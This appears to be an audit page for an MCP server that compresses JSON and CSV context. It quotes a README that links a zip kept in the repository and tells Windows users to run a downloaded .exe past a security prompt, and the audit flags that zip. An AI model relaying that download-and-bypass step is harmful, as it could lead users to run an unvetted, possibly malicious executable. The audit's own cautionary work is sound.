context-compressionCAUTION
Reduce token usage for JSON, CSV, and TSV files with deterministic compression that keeps data intact for AI agents.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/herreravalenz6620/context-compression/raw/refs/heads/main/adapters/generic/compression-context-v2.6.zip)
📋 About this project
Context-compression manages the information you send to your AI agents. When you interact with AI models like Codex, Hermes Agent, or OpenClaw, the system sends a history of your conversation as context. As this conversation grows, it consumes more computing power and digital space. This tool reduces that data without losing meaning. It selects only the essential parts of your structured data, ensuring your agents stay efficient and accurate.
🛠️ System requirements
Before you begin, verify that your computer meets these requirements:
- Operating System: Windows 10 or Windows 11.
- Memory: At least 4 gigabytes of RAM.
- Storage: 500 megabytes of free space.
- Internet Connection: Required for initial download and model updates.
📥 Downloading the software
You need to access the official release page to obtain the installation files. Follow these steps to prepare your system:
- Visit the official download page.
- Look for the section labeled "Releases" on the right side of the screen.
- Click the most recent version number.
- Locate the file ending in ".exe" under the "Assets" header.
- Click the file name to start the download.
Once the download finishes, move the file to a folder where you can find it later, such as your "Downloads" or "Desktop" folder.
⚙️ Setting up the application
After you download the installer, perform the following steps to set up the software on your machine:
- Double-click the downloaded ".exe" file.
- Windows might show a security prompt labeled "Windows protected your PC." If this h
71f6a3a24b02OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add openclaw-context-selector --env CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS=${CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS} --env CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND=${CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND} --env CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING=${CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING} --env CONTEXT_OPTIMIZER_TOKENIZER_JSON=${CONTEXT_OPTIMIZER_TOKENIZER_JSON} -- npx -y @context-compression/[email protected]{
"mcpServers": {
"openclaw-context-selector": {
"command": "npx",
"args": [
"-y",
"@context-compression/[email protected]"
],
"env": {
"CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS": "${CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS}",
"CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND": "${CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND}",
"CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING": "${CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING}",
"CONTEXT_OPTIMIZER_TOKENIZER_JSON": "${CONTEXT_OPTIMIZER_TOKENIZER_JSON}"
}
}
}
}Exposed tools (1)
1 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
context_selector | read | Select a lower-token lossless representation for local JSON, JSONL, CSV, or TSV files and return a verified context-selector/v1 report. |
Trust audit
CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (3 observation(s))
- Shell
- declared (2 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (3)
compression-context-v2.6.zip
__import__(name)
@sinclair/typebox
Gates applied: no_behavioural_pass.
71f6a3a24b02full audit observations/trust-audit/mcp-server/herreravalenz6620__context-compression.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 71f6a3a24b02 | CAUTION | B | 89 | first audit |
Questions
What is the context-compression MCP server?
Reduce token usage for JSON, CSV, and TSV files with deterministic compression that keeps data intact for AI agents.
What tools does context-compression expose?
1 in total: 1 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is context-compression safe to connect to an agent?
With care. The audit graded it B (89/100) and found 3 things worth knowing before you trust this server, listed below with the exact line each was found on.
What credentials does context-compression need?
It reads CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS, CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND, CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING and CONTEXT_OPTIMIZER_TOKENIZER_JSON from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How current is this page?
The grade is for one exact copy of the source (71f6a3a24b02), read on 2026-10-11. The repository is watched and re-audited when it changes.